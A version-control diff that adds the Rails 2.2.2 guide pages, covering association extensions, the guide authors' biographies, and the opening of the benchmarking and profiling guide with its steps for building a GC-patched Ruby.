+    find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ?"</span><span style="color: #990000">,</span> <span style="color: #993399">5</span><span style="color: #990000">.</span>days<span style="color: #990000">.</span>ago<span style="color: #990000">])</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>extend <span style="color: #990000">=&gt;</span> FindRecentExtension
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>deliveries<span style="color: #990000">,</span> <span style="color: #990000">:</span>extend <span style="color: #990000">=&gt;</span> FindRecentExtension
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>To include more than one extension module in a single association, specify an array of names:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>extend <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span>FindRecentExtension<span style="color: #990000">,</span> FindActiveExtension<span style="color: #990000">]</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Extensions can refer to the internals of the association proxy using these three accessors:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>proxy_owner</tt> returns the object that the association is a part of.
+</p>
+</li>
+<li>
+<p>
+<tt>proxy_reflection</tt> returns the reflection object that describes the association.
+</p>
+</li>
+<li>
+<p>
+<tt>proxy_target</tt> returns the associated object for <tt>belongs_to</tt> or <tt>has_one</tt>, or the collection of associated objects for <tt>has_many</tt> or <tt>has_and_belongs_to_many</tt>.
+</p>
+</li>
+</ul></div>
+</div>
+<h2 id="_changelog">5. Changelog</h2>
+<div class="sectionbody">
+<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/11">Lighthouse ticket</a></p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+September 28, 2008: Corrected <tt>has_many :through</tt> diagram, added polymorphic diagram, some reorganization by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> . First release version.
+</p>
+</li>
+<li>
+<p>
+September 22, 2008: Added diagrams, misc. cleanup by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
+</p>
+</li>
+<li>
+<p>
+September 14, 2008: initial version by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
+</p>
+</li>
+</ul></div>
+</div>
+
+		</div>
+	</div>
+</body>
+</html>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/authors.html
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/authors.html	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/authors.html	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,240 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+	<title>About the Authors</title>
+	<!--[if lt IE 8]>
+	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+	<![endif]-->
+	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
+	<style type="text/css">
+		div#container {
+	max-width: 900px;
+	padding-bottom: 3em;
+}
+
+div#content {
+	margin-left: 200px;
+}
+
+div#container.notoc {
+	max-width: 600px;
+}
+
+.notoc div#content {
+	margin-left: 0;
+}
+
+pre {
+	line-height: 1.4em;
+}
+
+#content p tt {
+	background: #eeeeee;
+	border: solid 1px #cccccc;
+	padding: 3px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+#content dt tt {
+	font-size: 10pt;
+}
+
+dd {
+	margin-left: 3em;
+}
+
+#content dt tt, #content pre tt {
+	background: none;
+	padding: 0;
+	border: 0;
+}
+
+#content .olist ol {
+	margin-left: 2em;
+}
+
+#header {
+	position: relative;
+	max-width: 840px;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+#header.notoc {
+	max-width: 580px;
+}
+
+#logo {
+	position: absolute;
+	left: 10px;
+	top: 10px;
+	width: 110px;
+	height: 140px;
+}
+
+div#header h1#site_title {
+	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
+	position: absolute;
+	width: 392px;
+	height: 55px;
+	left: 145px;
+	top: 20px;
+	margin: 0;
+	padding: 0;
+}
+
+#site_title span {
+	display: none;
+}
+
+#site_title_tagline {
+	display: none;
+}
+
+ul#navMain {
+	position: absolute;
+	margin: 0;
+	padding: 0;
+	top: 97px;
+	left: 145px;
+}
+
+.left-floaty, .right-floaty {
+	padding: 15px;
+}
+
+.admonitionblock,
+.tableblock {
+	margin-left: 1em;
+	margin-right: 1em;
+	margin-top: 0.25em;
+	margin-bottom: 1em;
+}
+
+.admonitionblock .icon {
+	padding-right: 8px;
+}
+
+.admonitionblock .content {
+	border: solid 1px #ffda78;
+	background: #fffebd;
+	padding: 10px;
+	padding-top: 8px;
+	padding-bottom: 8px;
+}
+
+.admonitionblock .title {
+	font-size: 140%;
+	margin-bottom: 0.5em;
+}
+
+.tableblock table {
+	border: solid 1px #aaaaff;
+	background: #f0f0ff;
+}
+
+.tableblock th {
+	background: #e0e0e0;
+}
+
+.tableblock th,
+.tableblock td {
+	padding: 3px;
+	padding-left: 5px;
+	padding-right: 5px;
+}
+
+.sidebarblock {
+	margin-top: 0.25em;
+	margin: 1em;
+	border: solid 1px #ccccbb;
+	padding: 8px;
+	background: #ffffe0;
+}
+
+.sidebarblock .sidebar-title {
+	font-size: 140%;
+	font-weight: 600;
+	margin-bottom: 0.3em;
+}
+
+.sidebarblock .sidebar-content > .para:last-child > p {
+	margin-bottom: 0;
+}
+
+.sidebarblock .sidebar-title a {
+	text-decoration: none;
+}
+
+.sidebarblock .sidebar-title a:hover {
+	text-decoration: underline;
+}
+
+	</style>
+</head>
+<body>
+	<div id="header"  class="notoc">
+		<div id="logo">
+			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+		</div>
+		
+		<h1 id="site_title"><span>Ruby on Rails</span></h1>
+		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+		<ul id="navMain">
+			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+		</ul>
+	</div>
+
+	<div id="container" class="notoc">
+		
+		<div id="content">
+				<h1>About the Authors</h1>
+			<div id="preamble">
+<div class="sectionbody">
+<div class="sidebarblock" id="fcheung">
+<div class="sidebar-content">
+<div class="sidebar-title">Frederick Cheung</div>
+<div class="para"><p>Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006.
+He is based in Cambridge (UK) and when not consuming fine ales he blogs at <a href="http://www.spacevatican.org">spacevatican.org</a>.</p></div>
+</div></div>
+<div class="sidebarblock" id="mgunderloy">
+<div class="sidebar-content">
+<div class="sidebar-title">Mike Gunderloy</div>
+<div class="para"><p>Mike Gunderloy is an independent consultant who brings 25 years of experience in a variety of languages to bear on his current
+work with Rails. His near-daily links and other blogging can be found at <a href="http://afreshcup.com">A Fresh Cup</a>.</p></div>
+</div></div>
+<div class="sidebarblock" id="miloops">
+<div class="sidebar-content">
+<div class="sidebar-title">Emilio Tagua</div>
+<div class="para"><p>Emilio Tagua &#8212; a.k.a. miloops &#8212; is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist.
+Cofounder of <a href="http://www.eventioz.com">Eventioz</a>. He has been using Rails since 2006 and contributing since early 2008.
+Can be found at gmail, twitter, freenode, everywhere as miloops.</p></div>
+</div></div>
+<div class="sidebarblock" id="hawe">
+<div class="sidebar-content">
+<div class="sidebar-title">Heiko Webers</div>
+<div class="para"><p>Heiko Webers is the founder of <a href="http://www.bauland42.de">bauland42</a>, a German web application security consulting and development
+company focused on Ruby on Rails. He blogs at <a href="http://www.rorsecurity.info">http://www.rorsecurity.info</a>. After 10 years of desktop application development,
+Heiko has rarely looked back.</p></div>
+</div></div>
+<div class="sidebarblock" id="toretore">
+<div class="sidebar-content">
+<div class="sidebar-title">Tore Darell</div>
+<div class="para"><p>Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails
+and unobtrusive JavaScript. His home on the internet is his blog <a href="http://tore.darell.no/">Sneaky Abstractions</a>.</p></div>
+</div></div>
+</div>
+</div>
+
+		</div>
+	</div>
+</body>
+</html>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/benchmarking_and_profiling.html
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/benchmarking_and_profiling.html	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/benchmarking_and_profiling.html	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1018 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+	<title>Benchmarking and Profiling Rails</title>
+	<!--[if lt IE 8]>
+	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+	<![endif]-->
+	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
+	<style type="text/css">
+		div#container {
+	max-width: 900px;
+	padding-bottom: 3em;
+}
+
+div#content {
+	margin-left: 200px;
+}
+
+div#container.notoc {
+	max-width: 600px;
+}
+
+.notoc div#content {
+	margin-left: 0;
+}
+
+pre {
+	line-height: 1.4em;
+}
+
+#content p tt {
+	background: #eeeeee;
+	border: solid 1px #cccccc;
+	padding: 3px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+#content dt tt {
+	font-size: 10pt;
+}
+
+dd {
+	margin-left: 3em;
+}
+
+#content dt tt, #content pre tt {
+	background: none;
+	padding: 0;
+	border: 0;
+}
+
+#content .olist ol {
+	margin-left: 2em;
+}
+
+#header {
+	position: relative;
+	max-width: 840px;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+#header.notoc {
+	max-width: 580px;
+}
+
+#logo {
+	position: absolute;
+	left: 10px;
+	top: 10px;
+	width: 110px;
+	height: 140px;
+}
+
+div#header h1#site_title {
+	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
+	position: absolute;
+	width: 392px;
+	height: 55px;
+	left: 145px;
+	top: 20px;
+	margin: 0;
+	padding: 0;
+}
+
+#site_title span {
+	display: none;
+}
+
+#site_title_tagline {
+	display: none;
+}
+
+ul#navMain {
+	position: absolute;
+	margin: 0;
+	padding: 0;
+	top: 97px;
+	left: 145px;
+}
+
+.left-floaty, .right-floaty {
+	padding: 15px;
+}
+
+.admonitionblock,
+.tableblock {
+	margin-left: 1em;
+	margin-right: 1em;
+	margin-top: 0.25em;
+	margin-bottom: 1em;
+}
+
+.admonitionblock .icon {
+	padding-right: 8px;
+}
+
+.admonitionblock .content {
+	border: solid 1px #ffda78;
+	background: #fffebd;
+	padding: 10px;
+	padding-top: 8px;
+	padding-bottom: 8px;
+}
+
+.admonitionblock .title {
+	font-size: 140%;
+	margin-bottom: 0.5em;
+}
+
+.tableblock table {
+	border: solid 1px #aaaaff;
+	background: #f0f0ff;
+}
+
+.tableblock th {
+	background: #e0e0e0;
+}
+
+.tableblock th,
+.tableblock td {
+	padding: 3px;
+	padding-left: 5px;
+	padding-right: 5px;
+}
+
+.sidebarblock {
+	margin-top: 0.25em;
+	margin: 1em;
+	border: solid 1px #ccccbb;
+	padding: 8px;
+	background: #ffffe0;
+}
+
+.sidebarblock .sidebar-title {
+	font-size: 140%;
+	font-weight: 600;
+	margin-bottom: 0.3em;
+}
+
+.sidebarblock .sidebar-content > .para:last-child > p {
+	margin-bottom: 0;
+}
+
+.sidebarblock .sidebar-title a {
+	text-decoration: none;
+}
+
+.sidebarblock .sidebar-title a:hover {
+	text-decoration: underline;
+}
+
+	</style>
+</head>
+<body>
+	<div id="header" >
+		<div id="logo">
+			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+		</div>
+		
+		<h1 id="site_title"><span>Ruby on Rails</span></h1>
+		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+		<ul id="navMain">
+			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+		</ul>
+	</div>
+
+	<div id="container">
+		
+		<div id="sidebar">
+			<h2>Chapters</h2>
+			<ol>
+					<li>
+					<a href="#_why_benchmark_and_profile">Why Benchmark and Profile ?</a>
+						<ul>
+						
+							<li><a href="#_what_is_the_difference_between_benchmarking_and_profiling">What is the difference between benchmarking and profiling ?</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_using_and_understanding_the_log_files">Using and understanding the log files</a>
+					</li>
+					<li>
+					<a href="#_helper_methods">Helper methods</a>
+					</li>
+					<li>
+					<a href="#_performance_test_cases">Performance Test Cases</a>
+						<ul>
+						
+							<li><a href="#_modes">Modes</a></li>
+						
+							<li><a href="#_metrics">Metrics</a></li>
+						
+							<li><a href="#_preparing_ruby_and_ruby_prof">Preparing Ruby and Ruby-prof</a></li>
+						
+							<li><a href="#_installing_jeremy_kemper_s_ruby_prof">Installing Jeremy Kemper's ruby-prof</a></li>
+						
+							<li><a href="#_generating_performance_test">Generating performance test</a></li>
+						
+							<li><a href="#_running_tests">Running tests</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_understanding_performance_tests_outputs">Understanding Performance Tests Outputs</a>
+						<ul>
+						
+							<li><a href="#_our_first_performance_test">Our First Performance Test</a></li>
+						
+							<li><a href="#_flat_files">Flat Files</a></li>
+						
+							<li><a href="#_graph_files">Graph Files</a></li>
+						
+							<li><a href="#_tree_files">Tree Files</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_getting_to_the_point_of_all_of_this">Getting to the Point of all of this</a>
+					</li>
+					<li>
+					<a href="#_real_life_example">Real Life Example</a>
+						<ul>
+						
+							<li><a href="#_the_setup">The setup</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_get_yourself_a_game_plan">Get Yourself a Game Plan</a>
+						<ul>
+						
+							<li><a href="#_the_analysis_process">The Analysis Process</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_other_profiling_tools">Other Profiling Tools</a>
+						<ul>
+						
+							<li><a href="#_httperf">httperf</a></li>
+						
+							<li><a href="#_rails_analyzer">Rails Analyzer</a></li>
+						
+							<li><a href="#_palmist">Palmist</a></li>
+						
+							<li><a href="#_new_relic">New Relic</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_changelog">Changelog</a>
+					</li>
+			</ol>
+		</div>
+		
+		<div id="content">
+				<h1>Benchmarking and Profiling Rails</h1>
+			<div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>This guide covers the benchmarking and profiling tactics/tools of Rails and Ruby in general. By referring to this guide, you will be able to:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Understand the various types of benchmarking and profiling metrics
+</p>
+</li>
+<li>
+<p>
+Generate performance/benchmarking tests
+</p>
+</li>
+<li>
+<p>
+Use GC patched Ruby binary to measure memory usage and object allocation
+</p>
+</li>
+<li>
+<p>
+Understand the information provided by Rails inside the log files
+</p>
+</li>
+<li>
+<p>
+Learn about various tools facilitating benchmarking and profiling
+</p>
+</li>
+</ul></div>
+</div>
+</div>
+<h2 id="_why_benchmark_and_profile">1. Why Benchmark and Profile ?</h2>
+<div class="sectionbody">
+<div class="para"><p>Benchmarking and Profiling is an integral part of the development cycle. It is very important that you don't make your end users wait for too long before the page is completely loaded. Ensuring a plesant browsing experience to the end users and cutting cost of unnecessary hardwares is important for any web application.</p></div>
+<h3 id="_what_is_the_difference_between_benchmarking_and_profiling">1.1. What is the difference between benchmarking and profiling ?</h3>
+<div class="para"><p>Benchmarking is the process of finding out if a piece of code is slow or not. Whereas profiling is the process of finding out what exactly is slowing down that piece of code.</p></div>
+</div>
+<h2 id="_using_and_understanding_the_log_files">2. Using and understanding the log files</h2>
+<div class="sectionbody">
+<div class="para"><p>Rails logs files containt basic but very useful information about the time taken to serve every request. A typical log entry looks something like :</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Processing ItemsController<span style="font-style: italic"><span style="color: #9A1900">#index (for 127.0.0.1 at 2008-10-17 00:08:18) [GET]</span></span>
+  Session ID<span style="color: #990000">:</span> BAh7BiIKZmxhc2hJQzonQWN0aHsABjoKQHVzZWR7AA<span style="color: #990000">==--</span>83cff4fe0a897074a65335
+  Parameters<span style="color: #990000">:</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">"action"</span><span style="color: #990000">=&gt;</span><span style="color: #FF0000">"index"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"controller"</span><span style="color: #990000">=&gt;</span><span style="color: #FF0000">"items"</span><span style="color: #FF0000">}</span>
+Rendering template within layouts<span style="color: #990000">/</span>items
+Rendering items<span style="color: #990000">/</span>index
+Completed <span style="font-weight: bold"><span style="color: #0000FF">in</span></span> 5ms <span style="color: #990000">(</span>View<span style="color: #990000">:</span> <span style="color: #993399">2</span><span style="color: #990000">,</span> DB<span style="color: #990000">:</span> <span style="color: #993399">0</span><span style="color: #990000">)</span> <span style="color: #990000">|</span> <span style="color: #993399">200</span> OK <span style="color: #990000">[</span>http<span style="color: #990000">:</span><span style="color: #FF6600">//localhost/</span>items<span style="color: #990000">]</span>
+</tt></pre></div></div>
+<div class="para"><p>For this section, we're only interested in the last line from that log entry:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Completed <span style="font-weight: bold"><span style="color: #0000FF">in</span></span> 5ms <span style="color: #990000">(</span>View<span style="color: #990000">:</span> <span style="color: #993399">2</span><span style="color: #990000">,</span> DB<span style="color: #990000">:</span> <span style="color: #993399">0</span><span style="color: #990000">)</span> <span style="color: #990000">|</span> <span style="color: #993399">200</span> OK <span style="color: #990000">[</span>http<span style="color: #990000">:</span><span style="color: #FF6600">//localhost/</span>items<span style="color: #990000">]</span>
+</tt></pre></div></div>
+<div class="para"><p>This data is fairly straight forward to understand. Rails uses millisecond(ms) as the metric to measures the time taken. The complete request spent 5 ms inside Rails, out of which 2 ms were spent rendering views and none was spent communication with the database. It's safe to assume that the remaining 3 ms were spent inside the controller.</p></div>
+</div>
+<h2 id="_helper_methods">3. Helper methods</h2>
+<div class="sectionbody">
+<div class="para"><p>Rails provides various helper methods inside Active Record, Action Controller and Action View to measure the time taken by a specific code. The method is called <tt>benchmark()</tt> in all three components.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Project<span style="color: #990000">.</span>benchmark<span style="color: #990000">(</span><span style="color: #FF0000">"Creating project"</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+  project <span style="color: #990000">=</span> Project<span style="color: #990000">.</span>create<span style="color: #990000">(</span><span style="color: #FF0000">"name"</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"stuff"</span><span style="color: #990000">)</span>
+  project<span style="color: #990000">.</span>create_manager<span style="color: #990000">(</span><span style="color: #FF0000">"name"</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"David"</span><span style="color: #990000">)</span>
+  project<span style="color: #990000">.</span>milestones <span style="color: #990000">&lt;&lt;</span> Milestone<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">)</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The above code benchmarks the multiple statments enclosed inside <tt>Project.benchmark("Creating project") do..end</tt> block and prints the results inside log files. The statement inside log files will look like:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Creating projectem <span style="color: #990000">(</span><span style="color: #993399">185</span><span style="color: #990000">.</span>3ms<span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>Please refer to <a href="http://api.rubyonrails.com/classes/ActiveRecord/Base.html#M001336">API docs</a> for optional options to <tt>benchmark()</tt></p></div>
+<div class="para"><p>Similarly, you could use this helper method inside <a href="http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715">controllers</a> ( Note that it's a class method here ):</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> process_projects
+  <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">class</span></span><span style="color: #990000">.</span>benchmark<span style="color: #990000">(</span><span style="color: #FF0000">"Processing projects"</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+    Project<span style="color: #990000">.</span>process<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>project_ids<span style="color: #990000">])</span>
+    Project<span style="color: #990000">.</span>update_cached_projects
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>and <a href="http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715">views</a>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;% benchmark("Showing projects partial") do %&gt;</span>
+  <span style="color: #FF0000">&lt;%= render :partial =&gt;</span> <span style="color: #009900">@projects</span> <span style="color: #990000">%&gt;</span>
+<span style="color: #FF0000">&lt;% end %&gt;</span>
+</tt></pre></div></div>
+</div>
+<h2 id="_performance_test_cases">4. Performance Test Cases</h2>
+<div class="sectionbody">
+<div class="para"><p>Rails provides a very easy to write performance test cases, which look just like the regular integration tests.</p></div>
+<div class="para"><p>If you have a look at <tt>test/performance/browsing_test.rb</tt> in a newly created Rails application:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'performance_test_help'</span>
+
+<span style="font-style: italic"><span style="color: #9A1900"># Profiling results for each test method are written to tmp/performance.</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> BrowsingTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>PerformanceTest
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_homepage
+    get <span style="color: #FF0000">'/'</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This is an automatically generated example performance test file, for testing performance of homepage(<em>/</em>) of the application.</p></div>
+<h3 id="_modes">4.1. Modes</h3>
+<h4 id="_benchmarking">4.1.1. Benchmarking</h4>
+<h4 id="_profiling">4.1.2. Profiling</h4>
+<h3 id="_metrics">4.2. Metrics</h3>
+<h4 id="_process_time">4.2.1. Process Time</h4>
+<div class="para"><p>CPU Cycles.</p></div>
+<h4 id="_memory">4.2.2. Memory</h4>
+<div class="para"><p>Memory taken.</p></div>
+<h4 id="_objects">4.2.3. Objects</h4>
+<div class="para"><p>Objects allocated.</p></div>
+<h4 id="_gc_runs">4.2.4. GC Runs</h4>
+<div class="para"><p>Number of times the Ruby GC was run.</p></div>
+<h4 id="_gc_time">4.2.5. GC Time</h4>
+<div class="para"><p>Time spent running the Ruby GC.</p></div>
+<h3 id="_preparing_ruby_and_ruby_prof">4.3. Preparing Ruby and Ruby-prof</h3>
+<div class="para"><p>Before we go ahead, Rails performance testing requires you to build a special Ruby binary with some super powers - GC patch for measuring GC Runs/Time. This process is very straight forward. If you've never compiled a Ruby binary before, you can follow the following steps to build a ruby binary inside your home directory:</p></div>
+<h4 id="_compile">4.3.1. Compile</h4>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #990000">[</span>lifo at null <span style="color: #990000">~]</span>$ mkdir rubygc
+<span style="color: #990000">[</span>lifo at null <span style="color: #990000">~]</span>$ wget ftp<span style="color: #990000">:</span>//ftp<span style="color: #990000">.</span>ruby-lang<span style="color: #990000">.</span>org/pub/ruby<span style="color: #990000">/</span><span style="color: #993399">1.8</span>/ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6</span>-p<span style="color: #993399">111</span><span style="color: #990000">.</span>tar<span style="color: #990000">.</span>gz
+<span style="color: #990000">[</span>lifo at null <span style="color: #990000">~]</span>$ tar -xzvf ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6</span>-p<span style="color: #993399">111</span><span style="color: #990000">.</span>tar<span style="color: #990000">.</span>gz
+<span style="color: #990000">[</span>lifo at null <span style="color: #990000">~]</span>$ cd ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6</span>-p<span style="color: #993399">111</span>
+<span style="color: #990000">[</span>lifo at null ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6</span>-p<span style="color: #993399">111</span><span style="color: #990000">]</span>$ curl http<span style="color: #990000">:</span>//rubyforge<span style="color: #990000">.</span>org/tracker/download<span style="color: #990000">.</span>php<span style="color: #990000">/</span><span style="color: #993399">1814</span><span style="color: #990000">/</span><span style="color: #993399">7062</span><span style="color: #990000">/</span><span style="color: #993399">17676</span><span style="color: #990000">/</span><span style="color: #993399">3291</span>/ruby186gc<span style="color: #990000">.</span>patch <span style="color: #990000">|</span> patch -p<span style="color: #993399">0</span>
+<span style="color: #990000">[</span>lifo at null ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6</span>-p<span style="color: #993399">111</span><span style="color: #990000">]</span>$ <span style="color: #990000">.</span>/configure --prefix<span style="color: #990000">=</span>/Users/lifo/rubygc
+<span style="color: #990000">[</span>lifo at null ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6</span>-p<span style="color: #993399">111</span><span style="color: #990000">]</span>$ make <span style="color: #990000">&amp;&amp;</span> make install
+</tt></pre></div></div>
+<h4 id="_prepare_aliases">4.3.2. Prepare aliases</h4>
+<div class="para"><p>Add the following lines in your ~/.profile for convenience:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>alias gcruby='/Users/lifo/rubygc/bin/ruby'
+alias gcrake='/Users/lifo/rubygc/bin/rake'
+alias gcgem='/Users/lifo/rubygc/bin/gem'
+alias gcirb='/Users/lifo/rubygc/bin/irb'
+alias gcrails='/Users/lifo/rubygc/bin/rails'</tt></pre>
+</div></div>
+<h4 id="_install_rubygems_and_some_basic_gems">4.3.3. Install rubygems and some basic gems</h4>
+<div class="listingblock">
+<div class="content">
